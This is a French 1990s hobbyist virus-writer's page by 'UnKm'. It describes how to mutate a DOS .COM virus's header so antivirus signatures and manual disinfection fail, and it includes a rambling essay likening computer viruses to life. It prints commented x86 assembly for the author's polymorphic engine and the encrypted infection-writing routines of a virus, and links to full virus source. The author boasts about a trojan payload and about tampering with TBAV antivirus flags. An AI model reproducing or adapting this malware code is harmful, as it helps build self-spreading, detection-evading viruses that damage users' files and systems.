Notes & Softs que j'utilise
Notes de la semaine : Comment éviter une désinfection à la main
Bon , si vous le savez toujours pas , la manière de désinfecter un fichier com non-reconnu pour un particulier qui s'y connait un peu est de prendre les premiers octet du virus ce qui est plutot facile a faire, on prend la taille du fichier com non infecter . e; ,on notes les premiers octets qui démarre a cet endroit la ( ca fonctionne sur +- 75 % des virs com ) exactement dans le même fichier com infecté, on les rentre dans l'anti virus et le com est désinfecter ,c'est pour ca que les ptits malins ajoute du code au début du virus qu'ils ont piquer a droite a gauche puisque les premiers octets sont différents donc non-reconnu et ca entraine un nombre inportant de virus qui ne diffère des un des autre que par une ou deux instructions;
donc , j'ai pensé faire une routine qui irait modifié la tête du virus , arf combien de beaux plantages j'ai eu , en fait l'entête pour mon virus doit impérativement restée fixe , l'espace entre chaque instruction ne peux varié , alors j'ai organisé mon code comme suit :
suite :
- NOP
- NOP
- CALL VIRUS
- NOP
- NOP
VIRUS:
ce qui nous donne assemblé: ÉÉ***ÉÉ*ÉÉ , les É sont égaux aux nop et les * aux instruction du virus
les NOP sont des instruction qui font rien , j'ai codé une routine qui se chargerait de placer dessus une liste de focntion qui ne foute rien non plus genre mov dx,dx , xchg bx,bx , bref j'ai placer 10 instruction dans cette liste par un petit calcul , on en déduit que
à partir de 1 à 3 octets : 10 possibilités (classique)
à partir de 5 à 7 octets : 100 possibilités ( pour anti-virus)
à partir de 8 à 10 octets : 1000 possibilités
en fait , on prend généralement les 8 premiers octets du virus pour la désinfection, cad qu'il resteras 100 possibilitées , le type sera tout conter que le virus ai été détécté, la ou j'ai fait le salop , c'est que j'ai mis les octets du virus sauvés dans la zone d'encryption , arrrrrf marron la désinfection , quoique si le type a un peu de jujotte , il pourra s'en débarrasser mais il n'empeche que le virus est toujours la , sous d'autre forme...
C'est un ptit mécanisme de défense , mais j'en suis fier parceque c'est moi qui l'ai codé du dbéut jusqu'a la fin tout seul comme un grand , on ne peux pas parler encore parler d'un vrai moteur polymorphique , quoique ca en a deja la couleur mais plus d'un systeme de mutation pas très avancé mais performant ( c'est ce qui compte finallement ) , quand je vois des virus encryptés en 64 bits , je me dis qu'ils sont dingues , un bete xor en 8 bits suffit largement , c'est juste pour cacher le *.com qui est un peu génant.
Vous avez lancer comme un con UnKm-dcd.com ? , et ben je vous avais prévennu , c'est tant-pis pour vot' pomme , vous voulez quand même désinfecter ce fichier com , ben attendez la note de la semaine prochaine
Un peu d'étique personelle
J'écris cette page qui reflète ma vision sur le monde bordelique des virus , ya a peu près de ca 6 mois voir 7 , je passe dans un salon informatique et je vois le stand de Dr Salomon Anti-virus et un joli calendrier avec un horaire des virus récemment sorti , dejà , il manque mes créations ( d'après eux 5 virus sortent par jour ) , je cause avec le type du stand , et je lui dit que les virus je les étudie et j'en fait a titre éducatif ( pas tout a fait comme ca mais bon ) , il m'a répondu ' On peux pas vous féliciter ' , si c'est pas malheureux, vous voyez , on prend facilement les gens pour des cons , et les gens sont assez cons en croyant qu'un virus c'est un bête programme comme del
*.* /s , mais loin de ces ignorents (NDLR: c'est la que ca devient lourd ),
certains ont compris que les virus sont en quelques sortent une espèce de vie artificielle , qui vit comme un corp a part entière et qui possède ses caractéristique propre , que l'on pourrait classé par race et que dans une
race , chaque individu ressemble de près ou de loin mais a des caractéristique commune avec l'individu voisin (NDLR:z'en faites pas c'est encore plus chiant a écrire qu'a lire)
Je regarde a droite a gauche sur le web ( grace a la page a guillo , sacré guillo si tu nous écoutes ) et je vois des pages sur la comparaison entre les virus et la vie biologique , bref de la branlette spirituelle , ca fait du bien de le lire mais ca n'apporte pas plus , alors comme c'est a la mode ,je vais m'y mettre comme tout le monde
---> Ressemblence entre Virus Informatique et Biologique
un virus biologique a 3 facultées ,
primo , il attaque son hôte et de toutes façons , il provoque la mort de celle ci pour son propre développement
secundo , il se multiplie , et n'arrive a se multiplier que si le milieu est
friend a son developpement , donc dans le vide , un virus biologique est
deja condamné
tertio , le virus biologique mute en fonction du milieu , par exemple , le
virus de la grippe a fort changer et de nos jours parce que le virus dépend du milieu donc sa survie aussi , un virus a pour but de survivre et pour ce,il doit s'adapter en fonction de son milieu , si il n'arrive pas a s'adapter, il meurt
pour un virus informatique , c'est différent
virus + milieu(alias invité) = milieu_infecté mais milieu quand même
ici le milieu et le virus ne forment plus qu'un individu , donc on ne devrait pas parler de virus mais de parasites, leur but premier n'est pas de détruire mais de se propager pour assurer la survie de l'espèce , une fois propager, il peuvent détruire leur hôte si ceux-ci ne leur apporte plus de terrain friend a leur developement
1ø) Il doit respecter certaine règle de survie , un virus ne peux pas faire n'importe quoi , il a pour obligation de faire une symbiose avec son invité , si cette règle n'est pas respectée le virus court a sa perte
2ø) les virus informatique sont des "prédateurs" parcequ'il doivent chercher ,une proie , qu'on appelle aussi invité , la proie peut être de toute nature posssible , si on prend pour principe que la ou vie peux exister , elle existera , faut savoir attendre
3ø) Une fois la proie détectée; , il l'infecte avec son propre code , c'est ici que se fait la différence avec le virus biologique , c'est que le code
reste tout le temps le même , la mutation d'un virus informatique provient de son créateur parceque le virus ne peux muter son code comme un virus biologique , si il ne peux se propager , nous avons a faire a un hybride
4ø) tout virus est dépendent de son invité et doit donc le laisser vivre
Voila les 4 grands principes sur lesquels vivent les virus informatique ,sans
une seule de celle ci , les virus informatiques est condamné voir mort ,meurent , il est intéréssant de savoir que leur modification vient de leur géniteur , c'est a dire celui qui l'a créé a la base , il ne peux muter et evoluer de lui même , c'est le dernier chainon manquant au virus pour qu'il
soit considéré comme être vivant , celui ci sera peut être un jour inventé ,et alors a ce moment là , les folies les plus grandes peuvent être imaginée , nous aurons ce qu'on appelle un virus parfait , completement autonome , et
il existera sous toutes formes possible , même celle qu'un simple mortel ne pourrais avoir imaginé ( c'est vraiment jousif comme concept mais quasiment impossible ) , mais une rêgle d'or sera alors a respecté , c'est que les virus ne soient pas utiliser comme des armes , sinon c'est la catastrophe, et le pire sera alors à craindre (NDLR: c'est beau ce que je dis non ?)
Une deuxième différence avec les virus biologique est que le virus biologique meurt de lui même , c'est un concept pour tout être vivant, pas chez le virus informatique
A la question estceque les virus sont une forme de vie , moi qui ai deja
coder quelques virs , je répond OUI , parcequ'ils ont presque toutes les caractéristique d'être vivant et ont les même obligation que les parasites
Mon moteur polymorphique
type_Document_Title_here
Bon , chose promise , chose due , pour le plus grand bonheur d'entre vous j'expose MON moteur polymorphique dont j'en suis fier comme un bar-tabac , oui , je l'avais terminer depuis une semaine et demi mais j'ai préféré corrigé les bugs avant sa diffusion , donc IL MARCHE BORDEL DE MERDE , si vous me croyez pas vous pouvez toujours regarder un de mes derniers virs(cliquez sur virs pour dl la source) dont j'ai ajouter les routines ci-bas , okay , je vais essayer de documenter au maximum cette routine qui n'est pas si complexe que ca
writeon proc near ; WRITEON 1.0C holymorfix revised
; for encrypted routine compatble
; by UnKm '97
MOV DX,WORD PTR[BP+DTA+26] ; la clé d'encryption
LEA DI,BYTE PTR[BP+DEBC] ; l'endroit a encrypter
CALL ENCRYPT ; vas encrypter
CALL HOLYMORFIX ; rend le code polymorphique
; en simulant de fosse instruction
MOV AH,40h ; écris l'entête du virus
MOV CX,DEBP-VIRUS
LEA DX,[BP+VIRUS]
INT 21h
MOV AH,40h ; écris le reste du virus
MOV CX,WORD PTR[BP+ADDED] ; avec la grandeur aléatoire
LEA DX,[BP+STARZTE]
INT 21h
MOV DX,WORD PTR[BP+DTA+26]
LEA DI,BYTE PTR[BP+DEBC]
CALL ENCRYPT ; décrypte
RET
writeon endp
UNPOLY: MOV DL,BYTE PTR[BP+CLEP] ; charge la cle polymorphique
CALL POLYO ; dépolymorphe
RETURNO: RET
POLYO: LEA SI,[BP+DEBP] ; commence a DEBP
MOV DI,SI ; met si sur di
MOV CX,WORD PTR[BP+ADDED] ; met la taille du code généré
MOV AX,0
MOV DH,DL
manoloop:
MOV DL,DH ; met DH sur DL
AND DL,00000001b ; si le dernier byte = 1
CMP DL,00000001b ; alors ajoute un octet
JNE ADDCODEO ; du vrai code sinon
CONTINUEO: INC SI ; on en a rien a foutre
ROL DH,1 ; tourne binairement DH (dr)
LOOP MANOLOOP ; boucle jusque quand cx=0
RET
ADDCODEO: PUSH DX ; pousse DX sur la pile
MOV DH,BYTE PTR[SI] ; met en dh le vrai octet
MOV BYTE PTR[DI],DH ; le place sur di
POP DX ; retire DX
INC DI ; incrémente di
JMP CONTINUEO ; vas sur CONTINUEO
holymorfix: MOV DX,WORD PTR[BP+DTA+26] ; met la cle polymorphique
DETERMIN: CMP DL,100 ; la clé est contenue entre
JB Addedid ; 100 et 200
CMP DL,200
JA Subed
MOV BYTE PTR[BP+CLEP],DL ; sauve la clé sur CLEP
CALL POLY ; vas modifier le code
RET
Subed: SUB DL,25
JMP DETERMIN
Addedid: ADD DL,50
JMP DETERMIN
POLY: LEA SI,[BP+STARZTE] ; place le buffer
LEA DI,[BP+debp] ; place le début des vrai oct.
MOV CX,finp-debp ; sa taille
MOV AX,0 ; met en ax,0
MOV DH,DL ; met en DH , DL
mainloop: MOV DL,DH
AND DL,00000001b ; compare le code binairement
CMP DL,00000001b ; si il est égale a 1
JNE ADDCODE ; ben ajoute le code viral
JMP JUNKGENER ; sinon ajoute un code au pif
CONTINFALSE: INC CX ; incrémente cx
INC AX ; incrémente ax
CONTINUE: INC SI ; incrément si
ROL DH,1 ; tourne binairement DH (dr)
LOOP MAINLOOP ; boucle jusk cx=0
MOV WORD PTR[BP+ADDED],AX ; met ax sur added
RET ; retourne
JUNKGENER: ; générateur de code a la con
PUSH DX ; pousse DX
MOV DH,BYTE PTR[SI+7996] ;met en DH un nombre au hasard
ADD DH,CL
ADD DH,DH
MOV BYTE PTR[SI],DH ; ajoute un byte au hasard
POP DX ; retire DX
JMP CONTINFALSE ; retourne
ADDCODE: PUSH DX ; pousse dx
MOV DH,BYTE PTR[DI] ; met en di le vrai code
MOV BYTE PTR[SI],DH ; met le dans le buff
POP DX ; retire dx
INC AX ; incrémente ax
INC DI ; incrémente di
JMP CONTINUE ; saute sur continue
Pour ce virus , j'ai du procédé différement , j'ai placer les octets de non-riénfection; dans les premiers octets du fichier infecté(a 100h) , j'ai pas trop aimé l'idée que l'utilisateur voient un ZB a tous les programmes donc j'ai fait autrement , j'ai mis comme premier octet la clé d'encryption et les deux suivants sont ZB encrypté par le premier octet comme ca , l'utilisateur non-averti sera fixé
comme la taille du buffer est égale a (debp-finp)*7 si on fait un petit calcul binaire , j'ai du limiter les fonctions qui allaient étre inclu dans le code polymorphique et deja la taille du buffer faisais 7000 octets , ptain , c'est bocoup trop c'est vraiment énorme, donc j'ai par ailleur limité la grandeur maximale par 64000-((debp-finp)*7) , comme ca yaura pas de prob , faut voir que ce virus se ballade dans les dirs , il a un trojan et , il nique les flags de tbav , il est encrypter , ca fait bocoup pour un non-over de fichier com , mais bon , c'est toujours un plaisir de coder et d'ameliorer ses vir
okie , la routine a pris du temps ,elle est encore a ses premières versions, elle est pas tout a fait au point , mais ca fonctionne , j'ai vu peu de source expliqué sur les moteurs polymorphiques (essayer de comprende le TPE c'est impossible) , une autre méthode polymorphique consiste a changer les mov par d'autre intruction , par exemple mov ax,10 par xor ax,ax et add ax,10 le système est pas con , chaqu'un sa méthode ( chaqu'un sa route chaqu'un son chemin , passe le méssage a ton voisin .... )
Les softwares que j'utilise
Bien que peu nombreux , il y'en a déjà 2, acheter les si vous pouvez mais comme de nos jours , ca ne se trouve nulle part
Norton Commander (v3.0) |
Explorateur trés convivial , paramétrable a souhait pour dos , interface vraiment agréable et systeme de gestion de fichier au poil , il représente un outil intéréssant dans la création de virus pour avoir des informations sur le terrain |
78.9 K |
Turbo Asm (v2.01) et Turbo Link (v3.01) |
Assembleur assez chiant a utiliser sans Norton commander mais éfficace et précis au niveau des erreurs |
100.5 K |
retour à la maison